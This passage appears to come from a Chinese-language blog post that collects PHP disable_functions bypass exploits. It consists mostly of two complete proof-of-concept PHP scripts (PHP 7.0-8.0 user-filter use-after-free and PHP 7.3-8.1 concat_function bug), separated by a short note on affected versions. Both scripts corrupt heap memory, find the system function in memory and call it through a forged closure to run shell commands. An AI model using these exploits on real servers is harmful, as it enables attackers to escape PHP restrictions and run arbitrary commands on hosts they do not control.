2# PHP 7.0-8.0 disable_functions bypass PoC (*nix only)
3#
4# Bug: https://bugs.php.net/bug.php?id=54350
5#
6# This exploit should work on all PHP 7.0-8.0 versions
7# released as of 2021-10-06
8#
9# Author: https://github.com/mm0r1
10
11pwn('uname -a');
12
13function pwn($cmd) {
14 define('LOGGING', false);
15 define('CHUNK_DATA_SIZE', 0x60);
16 define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
17 define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
18 define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
19 define('CMD', $cmd);
20 for($i = 0; $i < 10; $i++) {
21 $groom[] = Pwn::alloc(STRING_SIZE);
22 }
23 stream_filter_register('pwn_filter', 'Pwn');
24 $fd = fopen('php://memory', 'w');
25 stream_filter_append($fd,'pwn_filter');
26 fwrite($fd, 'x');
27}
28
29class Helper { public $a, $b, $c; }
30class Pwn extends php_user_filter {
31 private $abc, $abc_addr;
32 private $helper, $helper_addr, $helper_off;
33 private $uafp, $hfp;
34
35 public function filter($in, $out, &$consumed, $closing) {
36 if($closing) return;
37 stream_bucket_make_writeable($in);
38 $this->filtername = Pwn::alloc(STRING_SIZE);
39 fclose($this->stream);
40 $this->go();
41 return PSFS_PASS_ON;
42 }
43
44 private function go() {
45 $this->abc = &$this->filtername;
46
47 $this->make_uaf_obj();
48
49 $this->helper = new Helper;
50 $this->helper->b = function($x) {};
51
52 $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
53 $this->log("helper @ 0x%x", $this->helper_addr);
54
55 $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
56 $this->log("abc @ 0x%x", $this->abc_addr);
57
58 $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;
59
60 $helper_handlers = $this->str2ptr(CHUNK_SIZE);
61 $this->log("helper handlers @ 0x%x", $helper_handlers);
62
63 $this->prepare_leaker();
64
65 $binary_leak = $this->read($helper_handlers + 8);
66 $this->log("binary leak @ 0x%x", $binary_leak);
67 $this->prepare_cleanup($binary_leak);
68
69 $closure_addr = $this->str2ptr($this->helper_off + 0x38);
70 $this->log("real closure @ 0x%x", $closure_addr);
71
72 $closure_ce = $this->read($closure_addr + 0x10);
73 $this->log("closure class_entry @ 0x%x", $closure_ce);
74
75 $basic_funcs = $this->get_basic_funcs($closure_ce);
76 $this->log("basic_functions @ 0x%x", $basic_funcs);
77
78 $zif_system = $this->get_system($basic_funcs);
79 $this->log("zif_system @ 0x%x", $zif_system);
80
81 $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
82 for($i = 0; $i < 0x138; $i += 8) {
83 $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
84 }
85 $this->write($fake_closure_off + 0x38, 1, 4);
86
87 $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
88 $this->write($fake_closure_off + $handler_offset, $zif_system);
89
90 $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
91 $this->write($this->helper_off + 0x38, $fake_closure_addr);
92 $this->log("fake closure @ 0x%x", $fake_closure_addr);
93
94 $this->cleanup();
95 ($this->helper->b)(CMD);
96 }
97
98 private function make_uaf_obj() {
99 $this->uafp = fopen('php://memory', 'w');
100 fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
101 for($i = 0; $i < STRING_SIZE; $i++) {
102 fwrite($this->uafp, "\x00");
103 }
104 }
105
106 private function prepare_leaker() {
107 $str_off = $this->helper_off + CHUNK_SIZE + 8;
108 $this->write($str_off, 2);
109 $this->write($str_off + 0x10, 6);
110
111 $val_off = $this->helper_off + 0x48;
112 $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
113 $this->write($val_off + 8, 0xA);
114 }
115
116 private function prepare_cleanup($binary_leak) {
117 $ret_gadget = $binary_leak;
118 do {
119 --$ret_gadget;
120 } while($this->read($ret_gadget, 1) !== 0xC3);
121 $this->log("ret gadget = 0x%x", $ret_gadget);
122 $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
123 $this->write(8, $ret_gadget);
124 }
125
126 private function read($addr, $n = 8) {
127 $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
128 $value = strlen($this->helper->c);
129 if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
130 return $value;
131 }
132
133 private function write($p, $v, $n = 8) {
134 for($i = 0; $i < $n; $i++) {
135 $this->abc[$p + $i] = chr($v & 0xff);
136 $v >>= 8;
137 }
138 }
139
140 private function get_basic_funcs($addr) {
141 while(true) {
142 // In rare instances the standard module might lie after the addr we're starting
143 // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
144 // In that case, changing the direction of the search should fix the crash.
145 // $addr += 0x10;
146 $addr -= 0x10;
147 if($this->read($addr, 4) === 0xA8 &&
148 in_array($this->read($addr + 4, 4),
149 [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
150 $module_name_addr = $this->read($addr + 0x20);
151 $module_name = $this->read($module_name_addr);
152 if($module_name === 0x647261646e617473) {
153 $this->log("standard module @ 0x%x", $addr);
154 return $this->read($addr + 0x28);
155 }
156 }
157 }
158 }
159
160 private function get_system($basic_funcs) {
161 $addr = $basic_funcs;
162 do {
163 $f_entry = $this->read($addr);
164 $f_name = $this->read($f_entry, 6);
165 if($f_name === 0x6d6574737973) {
166 return $this->read($addr + 8);
167 }
168 $addr += 0x20;
169 } while($f_entry !== 0);
170 }
171
172 private function cleanup() {
173 $this->hfp = fopen('php://memory', 'w');
174 fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
175 for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
176 fwrite($this->hfp, "\x00");
177 }
178 }
179
180 private function str2ptr($p = 0, $n = 8) {
181 $address = 0;
182 for($j = $n - 1; $j >= 0; $j--) {
183 $address <<= 8;
184 $address |= ord($this->abc[$p + $j]);
185 }
186 return $address;
187 }
188
189 private function ptr2str($ptr, $n = 8) {
190 $out = '';
191 for ($i = 0; $i < $n; $i++) {
192 $out .= chr($ptr & 0xff);
193 $ptr >>= 8;
194 }
195 return $out;
196 }
197
198 private function log($format, $val = '') {
199 if(LOGGING) {
200 printf("{$format}\n", $val);
201 }
202 }
203
204 static function alloc($size) {
205 return str_shuffle(str_repeat('A', $size));
206 }
207}
208?>
15. PHP 7.3-8.1 concat_function
该漏洞利用了处理字符串连接的函数中的错误。如果满足某些条件,
b 之类的语句可能会导致内存损坏。
影响版本:
- 7.3 - all versions to date
- 7.4 - all versions to date
- 8.0 - all versions to date
- 8.1 - all versions to date
1731<?php
2
3# PHP 7.3-8.1 disable_functions bypass PoC (*nix only)
4#
5# Bug: https://bugs.php.net/bug.php?id=81705
6#
7# This exploit should work on all PHP 7.3-8.1 versions
8# released as of 2022-01-07
9#
10# Author: https://github.com/mm0r1
11
12new Pwn("uname -a");
13
14class Helper { public $a, $b, $c; }
15class Pwn {
16 const LOGGING = false;
17 const CHUNK_DATA_SIZE = 0x60;
18 const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
19 const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;
20
21 const HT_SIZE = 0x118;
22 const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;
23
24 public function __construct($cmd) {
25 for($i = 0; $i < 10; $i++) {
26 $groom[] = self::alloc(self::STRING_SIZE);
27 $groom[] = self::alloc(self::HT_STRING_SIZE);
28 }
29
30 $concat_str_addr = self::str2ptr($this->heap_leak(), 16);
31 $fill = self::alloc(self::STRING_SIZE);
32
33 $this->abc = self::alloc(self::STRING_SIZE);
34 $abc_addr = $concat_str_addr + self::CHUNK_SIZE;
35 self::log("abc @ 0x%x", $abc_addr);
36
37 $this->free($abc_addr);
38 $this->helper = new Helper;
39 if(strlen($this->abc) < 0x1337) {
40 self::log("uaf failed");
41 return;
42 }
43
44 $this->helper->a = "leet";
45 $this->helper->b = function($x) {};
46 $this->helper->c = 0xfeedface;
47
48 $helper_handlers = $this->rel_read(0);
49 self::log("helper handlers @ 0x%x", $helper_handlers);
50
51 $closure_addr = $this->rel_read(0x20);
52 self::log("real closure @ 0x%x", $closure_addr);
53
54 $closure_ce = $this->read($closure_addr + 0x10);
55 self::log("closure class_entry @ 0x%x", $closure_ce);
56
57 $basic_funcs = $this->get_basic_funcs($closure_ce);
58 self::log("basic_functions @ 0x%x", $basic_funcs);
59
60 $zif_system = $this->get_system($basic_funcs);
61 self::log("zif_system @ 0x%x", $zif_system);
62
63 $fake_closure_off = 0x70;
64 for($i = 0; $i < 0x138; $i += 8) {
65 $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
66 }
67 $this->rel_write($fake_closure_off + 0x38, 1, 4);
68 $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
69 $this->rel_write($fake_closure_off + $handler_offset, $zif_system);
70
71 $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
72 self::log("fake closure @ 0x%x", $fake_closure_addr);
73
74 $this->rel_write(0x20, $fake_closure_addr);
75 ($this->helper->b)($cmd);
76
77 $this->rel_write(0x20, $closure_addr);
78 unset($this->helper->b);
79 }
80
81 private function heap_leak() {
82 $arr = [[], []];
83 set_error_handler(function() use (&$arr, &$buf) {
84 $arr = 1;
85 $buf = str_repeat("\x00", self::HT_STRING_SIZE);
86 });
87 $arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
88 return $buf;
89 }
90
91 private function free($addr) {
92 $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
93 $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));
94
95 $arr = [[], []];
96 set_error_handler(function() use (&$arr, &$buf, &$payload) {
97 $arr = 1;
98 $buf = str_repeat($payload, 1);
99 });
100 $arr[1] .= "x";
101 }
102
103 private function rel_read($offset) {
104 return self::str2ptr($this->abc, $offset);
105 }
106
107 private function rel_write($offset, $value, $n = 8) {
108 for ($i = 0; $i < $n; $i++) {
109 $this->abc[$offset + $i] = chr($value & 0xff);
110 $value >>= 8;
111 }
112 }
113
114 private function read($addr, $n = 8) {
115 $this->rel_write(0x10, $addr - 0x10);
116 $value = strlen($this->helper->a);
117 if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
118 return $value;
119 }
120
121 private function get_system($basic_funcs) {
122 $addr = $basic_funcs;
123 do {
124 $f_entry = $this->read($addr);
125 $f_name = $this->read($f_entry, 6);
126 if($f_name === 0x6d6574737973) {
127 return $this->read($addr + 8);
128 }
129 $addr += 0x20;
130 } while($f_entry !== 0);
131 }
132
133 private function get_basic_funcs($addr) {
134 while(true) {
135 // In rare instances the standard module might lie after the addr we're starting
136 // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
137 // In that case, changing the direction of the search should fix the crash.
138 // $addr += 0x10;
139 $addr -= 0x10;
140 if($this->read($addr, 4) === 0xA8 &&
141 in_array($this->read($addr + 4, 4),
142 [20180731, 20190902, 20200930, 20210902])) {
143 $module_name_addr = $this->read($addr + 0x20);
144 $module_name = $this->read($module_name_addr);
145 if($module_name === 0x647261646e617473) {
146 self::log("standard module @ 0x%x", $addr);
147 return $this->read($addr + 0x28);
148 }
149 }
150 }
151 }
152
153 private function log($format, $val = "") {
154 if(self::LOGGING) {
155 printf("{$format}\n", $val);
156 }
157 }
158
159 static function alloc($size) {
160 return str_shuffle(str_repeat("A", $size));
161 }
162
163 static function str2ptr($str, $p = 0, $n = 8) {
164 $address = 0;
165 for($j = $n - 1; $j >= 0; $j--) {
166 $address <<= 8;
167 $address |= ord($str[$p + $j]);
168 }
169 return $address;
170 }
171}
172
173?>
Reference
Comments NOTHING